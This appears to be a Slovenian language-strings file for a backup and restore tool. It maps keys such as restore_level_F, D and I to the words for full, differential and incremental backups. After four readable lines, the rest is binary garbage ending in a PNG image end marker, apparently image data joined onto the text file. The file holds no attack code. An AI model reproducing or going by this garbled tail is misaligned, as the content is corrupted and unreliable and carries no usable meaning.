restore_enofiles=Nobena od izbranih datotek ni v varnostni kopiji
restore_level_F=Poln
restore_level_D=Diferencialno
restore_level_I=Postopno
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`